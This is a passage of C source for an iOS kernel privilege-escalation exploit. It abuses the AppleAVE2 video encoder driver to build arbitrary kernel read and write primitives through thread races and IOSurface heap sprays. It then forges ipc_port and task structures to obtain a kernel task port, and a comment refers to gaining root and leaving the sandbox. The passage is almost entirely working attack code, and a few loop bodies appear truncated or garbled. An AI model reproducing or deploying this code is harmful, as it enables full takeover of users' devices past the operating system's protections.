KernelRead_8bytes(uint64_t rAddr){ if(tfp0_port){ uint64_t retdata = 0; vm_size_t outsize = 0x8; vm_read_overwrite(tfp0_port, rAddr, 0x8, (vm_address_t)&retdata, &outsize); return retdata; } uint32_t low_32bit = new_reading_primitive(rAddr); uint32_t high_32bit = new_reading_primitive(rAddr + 4); return (uint64_t)((((uint64_t)high_32bit) << 32) | low_32bit); } void KernelRead_anySize(uint64_t rAddr, char *outbuf, size_t outbuf_len){ if(tfp0_port){ vm_size_t outsize = outbuf_len; vm_read_overwrite(tfp0_port, rAddr, outbuf_len, (vm_address_t)outbuf, &outsize); return; } uint32_t aligned_outbuf_len = (uint32_t)outbuf_len; aligned_outbuf_len = (aligned_outbuf_len%4)?(((aligned_outbuf_len/4)+1)*4):aligned_outbuf_len; for(int i=0; i> 32)); } void KernelWrite_anySize(uint64_t wAddr, char *inputbuf, uint32_t inputbuf_len){ if(tfp0_port){ vm_write(tfp0_port, wAddr, (vm_offset_t)inputbuf, inputbuf_len); return; } for(int i=0; iinputmap_InitInfo_block1[96] != 1 ) *(uint8_t*)(inputmap_InitInfo + 13477) = 0; // disable kernel_debug *(uint64_t*)(inputmap_InitInfo + 5936) = 0; { char *input_stru = calloc(1, 0x28); *(uint32_t*)(input_stru + 8) = 0; // offset of inputmap_FrameInfo, godamn, cool feature *(uint32_t*)(input_stru + 12) = InitInfo_surfaceId; size_t output_stru_size = 0x4; char *output_stru = calloc(1, output_stru_size); IOConnectCallStructMethod(AppleAVE2UserClient_ioconn, 6, input_stru, 0x28, output_stru, &output_stru_size); } user_iosurfaceinfo_buf = *(uint64_t*)(inputmap_InitInfo + 5936); return user_iosurfaceinfo_buf; } void empty_kernel_40_mem(uint64_t target_addr){ *(uint32_t*)(inputmap_InitInfo + 13344) = 1; *(uint32_t*)(inputmap_InitInfo + 13368) = 1; *(uint32_t*)(inputmap_InitInfo + 2020) = 160; *(uint32_t*)(inputmap_InitInfo + 2024) = 64; *(uint32_t*)(inputmap_InitInfo + 0x10) = 0x4569; *(uint32_t*)(inputmap_InitInfo + 12) = 5; *(uint32_t*)(inputmap_InitInfo + 96) = 1; *(uint8_t*)(inputmap_InitInfo + 13477) = 0; // disable kernel_debug *(uint64_t*)(inputmap_InitInfo + 5936) = target_addr; { char *input_stru = calloc(1, 0x28); *(uint32_t*)(input_stru + 8) = 0; *(uint32_t*)(input_stru + 12) = InitInfo_surfaceId; size_t output_stru_size = 0x4; char *output_stru = calloc(1, output_stru_size); IOConnectCallStructMethod(AppleAVE2UserClient_ioconn, 6, input_stru, 0x28, output_stru, &output_stru_size); } } uint64_t alloc_kernel_40_mem_contains_iosurfacebuf(){ uint64_t user_iosurfaceinfo_buf; *(uint32_t*)(inputmap_InitInfo + 13344) = 1; *(uint32_t*)(inputmap_InitInfo + 13368) = 1; *(uint32_t*)(inputmap_InitInfo + 0x10) = 0x4569; *(uint32_t*)(inputmap_InitInfo + 12) = 0; *(uint32_t*)(inputmap_InitInfo + 96) = 1; *(uint8_t*)(inputmap_InitInfo + 13477) = 0; *(uint32_t*)(inputmap_InitInfo + 4) = 0x333; { char *input_stru = calloc(1, 0x28); *(uint32_t*)(input_stru + 8) = 0; *(uint32_t*)(input_stru + 12) = InitInfo_surfaceId; size_t output_stru_size = 0x4; char *output_stru = calloc(1, output_stru_size); IOConnectCallStructMethod(AppleAVE2UserClient_ioconn, 6, input_stru, 0x28, output_stru, &output_stru_size); } *(uint32_t*)(inputmap_InitInfo + 4) = 0x1; // this effect 40_mem_destroy, so must set back user_iosurfaceinfo_buf = *(uint64_t*)(inputmap_InitInfo + 5936); return user_iosurfaceinfo_buf; } void release_kernel_40_mem(uint64_t user_iosurfaceinfo_buf){ *(uint32_t*)(inputmap_InitInfo + 4) = 0; *(uint32_t*)(inputmap_InitInfo + 13344) = 1; *(uint32_t*)(inputmap_InitInfo + 13368) = 1; *(uint32_t*)(inputmap_InitInfo + 0x10) = 0x4569; *(uint32_t*)(inputmap_InitInfo + 12) = 0; *(uint32_t*)(inputmap_InitInfo + 96) = 1; *(uint8_t*)(inputmap_InitInfo + 13477) = 0; *(uint64_t*)(inputmap_InitInfo + 5936) = user_iosurfaceinfo_buf; char *input_stru = calloc(1, 0x28); *(uint32_t*)(input_stru + 8) = 0; *(uint32_t*)(input_stru + 12) = InitInfo_surfaceId; size_t output_stru_size = 0x4; char *output_stru = calloc(1, output_stru_size); IOConnectCallStructMethod(AppleAVE2UserClient_ioconn, 6, input_stru, 0x28, output_stru, &output_stru_size); if(*(uint64_t*)(inputmap_InitInfo + 5936)){ (printf)("release_kernel_40_mem failure detected....reattemping\n"); longjmp(reattempt_jmpb, 1); } } void IOSurfaceRootUserClient_sRemoveValue(uint32_t spray_id, uint32_t key){ uint32_t input_stru[3] = {0}; input_stru[0] = spray_id; input_stru[1] = 0; input_stru[2] = key; size_t output_stru_size = 4; uint32_t output_stru = 0; IOConnectCallStructMethod(IOSurfaceRootUserClient_ioconn, 11, input_stru, sizeof(input_stru), &output_stru, &output_stru_size); } char *www_output_stru = NULL; char *IOSurfaceRootUserClient_sCopyValue(uint32_t spray_id, uint32_t lookup_key){ uint32_t input_stru[3] = {0}; input_stru[0] = spray_id; input_stru[1] = 0; input_stru[2] = lookup_key; size_t output_stru_size = 5000; if(!www_output_stru) www_output_stru = malloc(output_stru_size); bzero(www_output_stru, output_stru_size); int kr = IOConnectCallStructMethod(IOSurfaceRootUserClient_ioconn, 10, input_stru, sizeof(input_stru), www_output_stru, &output_stru_size); if(kr){ printf("lookup_key: 0x%x IOSurfaceRootUserClient_sCopyValue failure: 0x%x\n", lookup_key, kr); return NULL; } return www_output_stru; } uint64_t magic_addr = 0; uint64_t _temp_kernel_reading_mapOffset = 0x30000; uint8_t _temp_kernel_reading_semaphore = 0; uint64_t _temp_kernel_reading_target_addr = 0; void _temp_kernel_reading_threadFunc(){ uint64_t precalc_value1 = magic_addr + _temp_kernel_reading_mapOffset; // input_shit uint64_t precalc_value2 = _temp_kernel_reading_target_addr - 64; uint64_t backup_iosurfacebuf = 0; uint64_t *alert1 = (uint64_t*)(inputmap_InitInfo + 1096); uint64_t *alert2 = (uint64_t*)(inputmap_InitInfo + _temp_kernel_reading_mapOffset); // input_shit->ptr uint64_t *alert3 = (uint64_t*)(inputmap_InitInfo + 56); _temp_kernel_reading_semaphore = 1; // Ready while(!*alert1){if(!_temp_kernel_reading_semaphore) return;} *(uint64_t*)(inputmap_InitInfo + 5936) = precalc_value1; while(!*alert2){if(!_temp_kernel_reading_semaphore) return;} backup_iosurfacebuf = *alert2; *alert2 = precalc_value2; *(uint64_t*)(inputmap_InitInfo + 5936) = 0; while(!*alert3){if(!_temp_kernel_reading_semaphore) return;} *alert2 = 0;//backup_iosurfacebuf; *(uint64_t*)(inputmap_InitInfo + 5936) = 0; } uint64_t temp_kernel_reading(uint64_t target_addr){ int kr = 0; uint64_t retdata = 0; do{ *(uint64_t*)(inputmap_InitInfo + 56) = 0; *(uint64_t*)(inputmap_InitInfo + 1096) = 0; *(uint64_t*)(inputmap_InitInfo + 5936) = 0; *(uint64_t*)(inputmap_InitInfo + _temp_kernel_reading_mapOffset) = 0; // input_shit _temp_kernel_reading_target_addr = target_addr; _temp_kernel_reading_semaphore = 0; pthread_t ph = NULL; pthread_create(&ph, NULL, (void*)_temp_kernel_reading_threadFunc, NULL); while(!_temp_kernel_reading_semaphore){}; *(uint32_t*)(inputmap_InitInfo + 0x10) = 0x4569; // InfoType *(uint32_t*)(inputmap_InitInfo + 12) = 0; // To cause AVE ERROR: multiPassEndPassCounterWFR *Can use for early return // or cause unmap later in IMG_V_EncodeAndSendFrame *(uint32_t*)(inputmap_InitInfo + 96) = 1; // Skip code at: if ( *(_DWORD *)&clientbuf->inputmap_InitInfo_block1[96] != 1 ) *(uint8_t*)(inputmap_InitInfo + 13477) = 0; // disable kernel_debug *(uint64_t*)(inputmap_InitInfo + 5936) = magic_addr + 0x30000 - 0x28; // point to a unused addr { char input_stru[0x28] = {0}; *(uint32_t*)(input_stru + 8) = 0; *(uint32_t*)(input_stru + 12) = InitInfo_surfaceId; size_t output_stru_size = 0x4; uint32_t output_stru = 0; IOConnectCallStructMethod(AppleAVE2UserClient_ioconn, 6, input_stru, 0x28, &output_stru, &output_stru_size); } _temp_kernel_reading_semaphore = 0; pthread_join(ph, NULL); uint64_t *alert3 = (uint64_t*)(inputmap_InitInfo + _temp_kernel_reading_mapOffset + 0x10); if(*alert3){ (printf)("alert3: 0x%llx\n", *alert3); retdata = *alert3; //break; } _temp_kernel_reading_mapOffset = _temp_kernel_reading_mapOffset + 0x8; *(uint64_t*)(inputmap_InitInfo + 5936) = 0; //retdata = *(uint64_t*)(inputmap_InitInfo + 56); }while(!retdata || kr); return retdata; } void _temp_kernel_reading_categ3_threadFunc(){ uint64_t precalc_value1 = magic_addr + _temp_kernel_reading_mapOffset; // input_shit uint64_t precalc_value2 = _temp_kernel_reading_target_addr - 64; uint64_t backup_iosurfacebuf = 0; uint64_t *alert1 = (uint64_t*)(inputmap_InitInfo + 1096); uint64_t *alert2 = (uint64_t*)(inputmap_InitInfo + _temp_kernel_reading_mapOffset); // input_shit->ptr uint64_t *alert3 = (uint64_t*)(inputmap_InitInfo + 56); _temp_kernel_reading_semaphore = 1; // Ready while(!*alert1){if(!_temp_kernel_reading_semaphore) return;} *(uint64_t*)(inputmap_InitInfo + 5936) = precalc_value1; while(!*alert2){if(!_temp_kernel_reading_semaphore) return;} backup_iosurfacebuf = *alert2; *alert2 = precalc_value2; *(uint64_t*)(inputmap_InitInfo + 5936) = 0; while(!*alert3){if(!_temp_kernel_reading_semaphore) return;} *alert2 = 0;//backup_iosurfacebuf; *(uint64_t*)(inputmap_InitInfo + 5936) = 0; } uint32_t temp_kernel_reading_categ3(uint64_t target_addr){ int kr = 0; uint32_t retdata = 0; do{ //*(uint32_t*)(inputmap_InitInfo + 4) = 99; *(uint64_t*)(inputmap_InitInfo + 56) = 0; *(uint64_t*)(inputmap_InitInfo + 1096) = 0; *(uint64_t*)(inputmap_InitInfo + 5936) = 0; *(uint64_t*)(inputmap_InitInfo + _temp_kernel_reading_mapOffset) = 0; // input_shit _temp_kernel_reading_target_addr = target_addr; _temp_kernel_reading_semaphore = 0; pthread_t ph = NULL; pthread_create(&ph, NULL, (void*)_temp_kernel_reading_categ3_threadFunc, NULL); while(!_temp_kernel_reading_semaphore){}; *(uint32_t*)(inputmap_InitInfo + 0x10) = 0x4569; // InfoType *(uint32_t*)(inputmap_InitInfo + 12) = 0; // To cause AVE ERROR: multiPassEndPassCounterWFR *Can use for early return // or cause unmap later in IMG_V_EncodeAndSendFrame *(uint32_t*)(inputmap_InitInfo + 96) = 1; // Skip code at: if ( *(_DWORD *)&clientbuf->inputmap_InitInfo_block1[96] != 1 ) *(uint8_t*)(inputmap_InitInfo + 13477) = 0; // disable kernel_debug *(uint64_t*)(inputmap_InitInfo + 5936) = magic_addr + 0x30000 - 0x28; // point to a unused addr { char input_stru[0x28] = {0}; *(uint32_t*)(input_stru + 8) = 0; *(uint32_t*)(input_stru + 12) = InitInfo_surfaceId; size_t output_stru_size = 0x4; uint32_t output_stru = 0; IOConnectCallStructMethod(AppleAVE2UserClient_ioconn, 6, input_stru, 0x28, &output_stru, &output_stru_size); } _temp_kernel_reading_semaphore = 0; pthread_join(ph, NULL); uint32_t *alert3 = (uint32_t*)(inputmap_InitInfo + _temp_kernel_reading_mapOffset + 16); if(*alert3){ //(printf)("temp_kernel_reading_bypass_kaslr: 0x%x\n", *alert3); retdata = *alert3; //break; } _temp_kernel_reading_mapOffset = _temp_kernel_reading_mapOffset + 16; *(uint64_t*)(inputmap_InitInfo + 5936) = 0; //retdata = *(uint64_t*)(inputmap_InitInfo + 56); }while(!retdata || kr); //complete_frame(0); // mmm return retdata; } void _temp_kernel_reading_bypass_kaslr_threadFunc(){ uint64_t precalc_value1 = magic_addr + _temp_kernel_reading_mapOffset; // input_shit uint64_t precalc_value2 = _temp_kernel_reading_target_addr - 24; uint64_t backup_iosurfacebuf = 0; uint64_t *alert1 = (uint64_t*)(inputmap_InitInfo + 1096); uint64_t *alert2 = (uint64_t*)(inputmap_InitInfo + _temp_kernel_reading_mapOffset); // input_shit->ptr uint64_t *alert3 = (uint64_t*)(inputmap_InitInfo + 56); _temp_kernel_reading_semaphore = 1; // Ready while(!*alert1){if(!_temp_kernel_reading_semaphore) return;} *(uint64_t*)(inputmap_InitInfo + 5936) = precalc_value1; while(!*alert2){if(!_temp_kernel_reading_semaphore) return;} backup_iosurfacebuf = *alert2; *alert2 = precalc_value2; *(uint64_t*)(inputmap_InitInfo + 5936) = 0; while(!*alert3){if(!_temp_kernel_reading_semaphore) return;} *alert2 = 0;//backup_iosurfacebuf; *(uint64_t*)(inputmap_InitInfo + 5936) = 0; } uint32_t temp_kernel_reading_categ5(uint64_t target_addr){ int kr = 0; uint32_t retdata = 0; do{ //*(uint32_t*)(inputmap_InitInfo + 4) = 99; *(uint64_t*)(inputmap_InitInfo + 56) = 0; *(uint64_t*)(inputmap_InitInfo + 1096) = 0; *(uint64_t*)(inputmap_InitInfo + 5936) = 0; *(uint64_t*)(inputmap_InitInfo + _temp_kernel_reading_mapOffset) = 0; // input_shit _temp_kernel_reading_target_addr = target_addr; _temp_kernel_reading_semaphore = 0; pthread_t ph = NULL; pthread_create(&ph, NULL, (void*)_temp_kernel_reading_bypass_kaslr_threadFunc, NULL); while(!_temp_kernel_reading_semaphore){}; *(uint32_t*)(inputmap_InitInfo + 0x10) = 0x4569; // InfoType *(uint32_t*)(inputmap_InitInfo + 12) = 0; // To cause AVE ERROR: multiPassEndPassCounterWFR *Can use for early return // or cause unmap later in IMG_V_EncodeAndSendFrame *(uint32_t*)(inputmap_InitInfo + 96) = 1; // Skip code at: if ( *(_DWORD *)&clientbuf->inputmap_InitInfo_block1[96] != 1 ) *(uint8_t*)(inputmap_InitInfo + 13477) = 0; // disable kernel_debug *(uint64_t*)(inputmap_InitInfo + 5936) = magic_addr + 0x30000 - 0x28; // point to a unused addr { char input_stru[0x28] = {0}; *(uint32_t*)(input_stru + 8) = 0; *(uint32_t*)(input_stru + 12) = InitInfo_surfaceId; size_t output_stru_size = 0x4; uint32_t output_stru = 0; IOConnectCallStructMethod(AppleAVE2UserClient_ioconn, 6, input_stru, 0x28, &output_stru, &output_stru_size); } _temp_kernel_reading_semaphore = 0; pthread_join(ph, NULL); uint32_t *alert3 = (uint32_t*)(inputmap_InitInfo + _temp_kernel_reading_mapOffset + 32); if(*alert3){ //(printf)("temp_kernel_reading_bypass_kaslr: 0x%x\n", *alert3); retdata = *alert3; } _temp_kernel_reading_mapOffset = _temp_kernel_reading_mapOffset + 0x8; *(uint64_t*)(inputmap_InitInfo + 5936) = 0; }while(!retdata || kr); return retdata; } void temp_kernel_reading_insert_valid_kaddr(uint64_t target_addr){ *(uint64_t*)(inputmap_InitInfo + 56) = 0; *(uint64_t*)(inputmap_InitInfo + 1096) = 0; *(uint64_t*)(inputmap_InitInfo + 5936) = 0; *(uint32_t*)(inputmap_InitInfo + 0x10) = 0x4569; // InfoType *(uint32_t*)(inputmap_InitInfo + 12) = 0; *(uint32_t*)(inputmap_InitInfo + 96) = 1; *(uint8_t*)(inputmap_InitInfo + 13477) = 0; *(uint64_t*)(inputmap_InitInfo + 5936) = target_addr; { char input_stru[0x28] = {0}; *(uint32_t*)(input_stru + 8) = 0; *(uint32_t*)(input_stru + 12) = InitInfo_surfaceId; size_t output_stru_size = 0x4; uint32_t output_stru = 0; IOConnectCallStructMethod(AppleAVE2UserClient_ioconn, 6, input_stru, 0x28, &output_stru, &output_stru_size); } *(uint64_t*)(inputmap_InitInfo + 5936) = 0; } void _temp_kernel_reading_release_mem_threadFunc(){ uint64_t precalc_value1 = magic_addr + _temp_kernel_reading_mapOffset; // input_shit uint64_t precalc_value2 = _temp_kernel_reading_target_addr; uint64_t *alert1 = (uint64_t*)(inputmap_InitInfo + 1096); uint64_t *alert2 = (uint64_t*)(inputmap_InitInfo + _temp_kernel_reading_mapOffset); // input_shit->ptr uint64_t *alert3 = (uint64_t*)(inputmap_InitInfo + _temp_kernel_reading_mapOffset + 8); _temp_kernel_reading_semaphore = 1; // Ready while(!*alert1){if(!_temp_kernel_reading_semaphore) return;} *(uint64_t*)(inputmap_InitInfo + 5936) = precalc_value1; while(!*alert2){if(!_temp_kernel_reading_semaphore) return;} //backup_iosurfacebuf = *alert2; *alert2 = precalc_value2; *(uint64_t*)(inputmap_InitInfo + 5936) = 0; while(!*alert3){if(!_temp_kernel_reading_semaphore) return;} uint64_t verify_v = *alert3; (printf)("verify_v: 0x%llx\n", verify_v); } uint32_t temp_kernel_reading_release_mem(uint64_t target_addr){ uint32_t retdata = 0; do{ *(uint64_t*)(inputmap_InitInfo + 56) = 0; *(uint64_t*)(inputmap_InitInfo + 1096) = 0; *(uint64_t*)(inputmap_InitInfo + 5936) = 0; *(uint64_t*)(inputmap_InitInfo + _temp_kernel_reading_mapOffset) = 0; // input_shit _temp_kernel_reading_target_addr = target_addr; _temp_kernel_reading_semaphore = 0; pthread_t ph = NULL; pthread_create(&ph, NULL, (void*)_temp_kernel_reading_release_mem_threadFunc, NULL); while(!_temp_kernel_reading_semaphore){}; *(uint32_t*)(inputmap_InitInfo + 0x10) = 0x4569; // InfoType *(uint32_t*)(inputmap_InitInfo + 12) = 0; // To cause AVE ERROR: multiPassEndPassCounterWFR *Can use for early return // or cause unmap later in IMG_V_EncodeAndSendFrame *(uint32_t*)(inputmap_InitInfo + 96) = 1; // Skip code at: if ( *(_DWORD *)&clientbuf->inputmap_InitInfo_block1[96] != 1 ) *(uint8_t*)(inputmap_InitInfo + 13477) = 0; // disable kernel_debug *(uint64_t*)(inputmap_InitInfo + 5936) = magic_addr + 0x30000 - 0x28; // point to a unused addr { char input_stru[0x28] = {0}; *(uint32_t*)(input_stru + 8) = 0; *(uint32_t*)(input_stru + 12) = InitInfo_surfaceId; size_t output_stru_size = 0x4; uint32_t output_stru = 0; IOConnectCallStructMethod(AppleAVE2UserClient_ioconn, 6, input_stru, 0x28, &output_stru, &output_stru_size); } _temp_kernel_reading_semaphore = 0; pthread_join(ph, NULL); uint32_t *check_if_mem_been_released = (uint32_t*)(inputmap_InitInfo + _temp_kernel_reading_mapOffset + 24); if(*check_if_mem_been_released == 0){ break; } }while(1); return retdata; } void prep_new_reading_primi(){ // Have to call this everytime in prior to read char *forge_clientbuf = inputmap_InitInfo + 0x24000; uint64_t forge_clientbuf_kaddr = magic_addr + 0x24000; char *forge_KernelFrameQueue = forge_clientbuf + 0x29B98; uint64_t forge_KernelFrameQueue_kaddr = forge_clientbuf_kaddr + 0x29B98; char *forge_inputmap_FrameInfo = forge_KernelFrameQueue + 24; uint64_t forge_inputmap_FrameInfo_kaddr = forge_KernelFrameQueue_kaddr + 24; *(uint64_t*)(forge_KernelFrameQueue + 0x10) = forge_inputmap_FrameInfo_kaddr; *(uint32_t*)(forge_clientbuf + 0x8) = 0x0; *(forge_clientbuf + 0x27B59) = 0x0; *(uint64_t*)(forge_inputmap_FrameInfo + 16) = 0x4569; *(uint32_t*)(forge_clientbuf + 0x4FF0 + 112) = 0x1; *(uint64_t*)(forge_clientbuf + 0x27838) = forge_inputmap_FrameInfo_kaddr + 0x2A000; *(uint64_t*)(forge_inputmap_FrameInfo + 5936) = 0; } uint32_t new_reading_primitive(uint64_t target_addr){ prep_new_reading_primi(); char *forge_inputmap_FrameInfo = inputmap_InitInfo + 0x24000 + 0x29B98 + 24; uint64_t forge_inputmap_FrameInfo_kaddr = magic_addr + 0x24000 + 0x29B98 + 24; *(uint32_t*)(forge_inputmap_FrameInfo + 20) = 0x2; uint32_t *retdata = (uint32_t*)(forge_inputmap_FrameInfo + 176); *retdata = 0; char *m_DPB = forge_inputmap_FrameInfo + 0x2A000; uint64_t m_DPB_inKernel = forge_inputmap_FrameInfo_kaddr + 0x2A000; *(uint32_t*)(m_DPB + 20) = 1; *(uint32_t*)(m_DPB + 2364) = 0; char *v8 = m_DPB + 96*(0) + 728; uint64_t v8_inKernel = m_DPB_inKernel + 96*(0) + 728; *(uint64_t*)(v8 + 72) = v8_inKernel + 40; *(uint64_t*)(v8 + 80) = 0; *(uint64_t*)(v8 + 40) = v8_inKernel + 48 - 32; *(uint64_t*)(v8 + 48) = target_addr - 12; *(uint64_t*)(v8) = 0; *(uint32_t*)(forge_inputmap_FrameInfo + 0x10) = 0x4569; *(uint32_t*)(forge_inputmap_FrameInfo + 12) = 0; *(uint32_t*)(forge_inputmap_FrameInfo + 96) = 2; *(uint8_t*)(forge_inputmap_FrameInfo + 13477) = 0; *(uint64_t*)(forge_inputmap_FrameInfo + 5936) = 0; { char input_stru[0x28] = {0}; *(uint32_t*)(input_stru + 8) = 0; *(uint32_t*)(input_stru + 12) = InitInfo_surfaceId; size_t output_stru_size = 0x4; uint32_t output_stru = 0; IOConnectCallStructMethod(AppleAVE2UserClient_ioconn, 6, input_stru, 0x28, &output_stru, &output_stru_size); } return *retdata; } void new_writing_primi(uint64_t target_addr, uint32_t write_data){ char *forge_clientbuf = inputmap_InitInfo + 0x24000; // 放在 magic mem + 0x24000的位置 char *forge_KernelFrameQueue = forge_clientbuf + 0x29B98; //KernelFrameQueue->m_BaseAddress; // in this write prim, m_BaseAddress is the target addr we want it to be overwritten *(uint64_t*)(forge_KernelFrameQueue + 0x10) = target_addr - 5948; // clientbuf->UniqueClientID // in this write prim, UniqueClientID is the data we will use it to overwrite *(uint32_t*)(forge_clientbuf + 0x8) = write_data; { char *input_stru = calloc(1, 0x28); *(uint32_t*)(input_stru + 8) = 0; // offset of inputmap_FrameInfo, godamn, cool feature *(uint32_t*)(input_stru + 12) = InitInfo_surfaceId; size_t output_stru_size = 0x4; char *output_stru = calloc(1, output_stru_size); IOConnectCallStructMethod(AppleAVE2UserClient_ioconn, 6, input_stru, 0x28, output_stru, &output_stru_size); } } void build_fake_task_stru_forReadMem(char *faketask, uint64_t target_addr){ *(uint32_t*)(faketask + 0x10) = 99; // ref_cnt // offset 0x368: mach task->bsd_info *(uint64_t*)(faketask + 0x368) = target_addr - 0x60; } void build_fake_ipc_port_stru(struct ipc_port *fakeport, uint64_t specify_kobject){ struct ipc_port *_tmp = malloc(sizeof(struct ipc_port)); bzero(_tmp, sizeof(struct ipc_port)); _tmp->ip_bits = IO_BITS_ACTIVE | IKOT_TASK | IO_BITS_KOBJECT; _tmp->ip_references = 100; _tmp->ip_lock.type = 0x11; _tmp->ip_messages.port.receiver_name = 1; _tmp->ip_messages.port.msgcount = 0; _tmp->ip_messages.port.qlimit = MACH_PORT_QLIMIT_KERNEL; _tmp->ip_kobject = specify_kobject; _tmp->ip_receiver = ipc_space_kernel_kAddr; KernelWrite_anySize(fakeport, _tmp, sizeof(struct ipc_port)); } void build_fake_task_stru_forTFP0(struct task *faketask){ //KernelRead_anySize(p_ucred_obtain_rootAndUnsandbox, old_cred, 0x68); struct task *_tmp = malloc(sizeof(struct task)); bzero(_tmp, sizeof(struct task)); _tmp->ref_count = 99; _tmp->lock.data = 0x0; _tmp->lock.type = 0x22; _tmp->active = 1; _tmp->pad2 = 1; // Something intro since iOS13, must not be 0, same offsets on iPhoneX and XS _tmp->map = kernel_map_kAddr; KernelWrite_anySize(faketask, _tmp, sizeof(struct task)); } size_t TT1_seria_data_totalLen = 0; uint32_t *TT1_seria_data_head = NULL; uint64_t *TT1_spraydata = NULL; uint32_t *TT1_seria_data_tail = NULL; #define TT1_holes_count 20 void Init_spraydata_for_TT1(uint32_t spray_id){ // kalloc.48 size_t spray_entity_size = TT1_holes_count * 112; TT1_seria_data_totalLen = spray_entity_size + 20 + 8; // 20/8 is head/tail for seriadata format TT1_seria_data_head = calloc(1, TT1_seria_data_totalLen); TT1_spraydata = (uint64_t *)(((char*)TT1_seria_data_head) + 20); TT1_seria_data_tail = (uint32_t *)(((char*)TT1_seria_data_head) + spray_entity_size + 20); memset(TT1_spraydata, 0x77, spray_entity_size); TT1_seria_data_head[0] = spray_id; TT1_seria_data_head[1] = 0; TT1_seria_data_head[2] = kOSSerializeMagic; TT1_seria_data_head[3] = kOSSerializeEndCollection | kOSSerializeArray | 2; TT1_seria_data_head[4] = kOSSerializeData | (uint32_t)spray_entity_size; TT1_seria_data_tail[0] = kOSSerializeEndCollection | kOSSerializeString | 2; TT1_seria_data_tail[1] = 0x1; } uint32_t TT1_sprayid = 0xB201; void TT1_send_spray(){ size_t output_stru_size = 4; uint32_t output_stru = 0; TT1_sprayid = TT1_sprayid + 1; // Start spraying for(int i=TT1_sprayid; i<(TT1_sprayid+1); i++){ TT1_seria_data_tail[1] = i; if(!check_num_stringlizability_4bytes(i)) // Make sure key is valid continue; // IOSurfaceRootUserClient_sSetValue IOConnectCallStructMethod(IOSurfaceRootUserClient_ioconn, 9, TT1_seria_data_head, TT1_seria_data_totalLen, &output_stru, &output_stru_size); } } size_t TT2_seria_data_totalLen = 0; uint32_t *TT2_seria_data_head = NULL; char *TT2_spraydata = NULL; uint32_t *TT2_seria_data_tail = NULL; void Init_spraydata_for_TT2(uint32_t spray_id){ // kalloc.48 size_t spray_entity_size = 112; TT2_seria_data_totalLen = spray_entity_size + 20 + 8; // 20/8 is head/tail for seriadata format TT2_seria_data_head = calloc(1, TT2_seria_data_totalLen); TT2_spraydata = (((char*)TT2_seria_data_head) + 20); TT2_seria_data_tail = (uint32_t *)(((char*)TT2_seria_data_head) + spray_entity_size + 20); memset(TT2_spraydata, 0x66, spray_entity_size); TT2_seria_data_head[0] = spray_id; TT2_seria_data_head[1] = 0; TT2_seria_data_head[2] = kOSSerializeMagic; TT2_seria_data_head[3] = kOSSerializeEndCollection | kOSSerializeArray | 2; TT2_seria_data_head[4] = kOSSerializeData | (uint32_t)spray_entity_size; TT2_seria_data_tail[0] = kOSSerializeEndCollection | kOSSerializeString | 2; TT2_seria_data_tail[1] = 0x1; } void TT2_send_spray(){ size_t output_stru_size = 4; uint32_t output_stru = 0; // Start spraying for(int i=0xD205; i<0xDC00; i++){ *(uint32_t*)(TT2_spraydata + 0x18) = i; TT2_seria_data_tail[1] = i; if(!check_num_stringlizability_4bytes(i)) // Make sure key is valid continue; // IOSurfaceRootUserClient_sSetValue IOConnectCallStructMethod(IOSurfaceRootUserClient_ioconn, 9, TT2_seria_data_head, TT2_seria_data_totalLen, &output_stru, &output_stru_size); } } void TT2_send_spray_smallspray(){ size_t output_stru_size = 4; uint32_t output_stru = 0; // Start spraying for(int i=0xDC01; i<0xDD00; i++){ *(uint32_t*)(TT2_spraydata + 0x18) = i; TT2_seria_data_tail[1] = i; if(!check_num_stringlizability_4bytes(i)) // Make sure key is valid continue; // IOSurfaceRootUserClient_sSetValue IOConnectCallStructMethod(IOSurfaceRootUserClient_ioconn, 9, TT2_seria_data_head, TT2_seria_data_totalLen, &output_stru, &output_stru_size); } } void TT2_release_all(){ for(int i=0xD205; i<0xDD00; i++){ if(!check_num_stringlizability_4bytes(i)) // Make sure key is valid continue; IOSurfaceRootUserClient_sRemoveValue(InitInfo_surfaceId, i); } } uint8_t add_new_client(){ size_t input_stru_size = 0x8; uint64_t input_stru = 0; size_t output_stru_size = 0x8; uint32_t output_stru[2] = {0}; // Contain clientbuf->UniqueClientID int kr = IOConnectCallStructMethod(AppleAVE2UserClient_ioconn, 0, &input_stru, input_stru_size, output_stru, &output_stru_size); // For: AVE ERROR: FindUserClientInfo EnqueueGated failed printf(" AVE AddClient kr: 0x%x(%d) clientid:0x%x|0x%x\n", kr, kr, output_stru[0], output_stru[1]); if(kr){ printf("client full\n"); return 1; } return 0; } void remove_client(){ size_t input_stru_size = 0x4; uint32_t unused1 = 0; size_t output_stru_size = 0x4; uint32_t unused2 = 0; IOConnectCallStructMethod(AppleAVE2UserClient_ioconn, 1, &unused1, input_stru_size, &unused2, &output_stru_size); // Neither output_stru or kr has used for indicates any sign of success or failure } void encode_client_normal(uint8_t isFor_finalCleaning){ *(uint32_t*)(inputmap_InitInfo + 13344) = 1; *(uint32_t*)(inputmap_InitInfo + 13368) = 1; *(uint32_t*)(inputmap_InitInfo + 2020) = 160; *(uint32_t*)(inputmap_InitInfo + 2024) = 64; *(uint32_t*)(inputmap_InitInfo + 2028) = 1; *(uint32_t*)(inputmap_InitInfo + 0x10) = 0x4569; *(uint32_t*)(inputmap_InitInfo + 12) = 5; *(uint64_t*)(inputmap_InitInfo + 5936) = 0; *(uint8_t*)(inputmap_InitInfo + 13288) = 1; *(uint8_t*)(inputmap_InitInfo + 13377) = 0; if(isFor_finalCleaning) *(uint32_t*)(inputmap_InitInfo + 4) = 0; else *(uint32_t*)(inputmap_InitInfo + 4) = 0x333; *(uint32_t*)(inputmap_InitInfo + 96) = 2; { char *input_stru = calloc(1, 0x110); *(uint32_t*)(input_stru + 8) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 12) = InitInfo_surfaceId; *(uint64_t*)(input_stru + 16) = InitInfo_surfaceId; *(uint64_t*)(input_stru + 24) = InitInfo_surfaceId; *(uint64_t*)(input_stru + 28) = InitInfo_surfaceId; *(uint64_t*)(input_stru + 32) = InitInfo_surfaceId; *(uint64_t*)(input_stru + 36) = InitInfo_surfaceId; *(uint64_t*)(input_stru + 40) = InitInfo_surfaceId; *(uint64_t*)(input_stru + 44) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 184) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 188) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 192) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 196) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 200) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 204) = 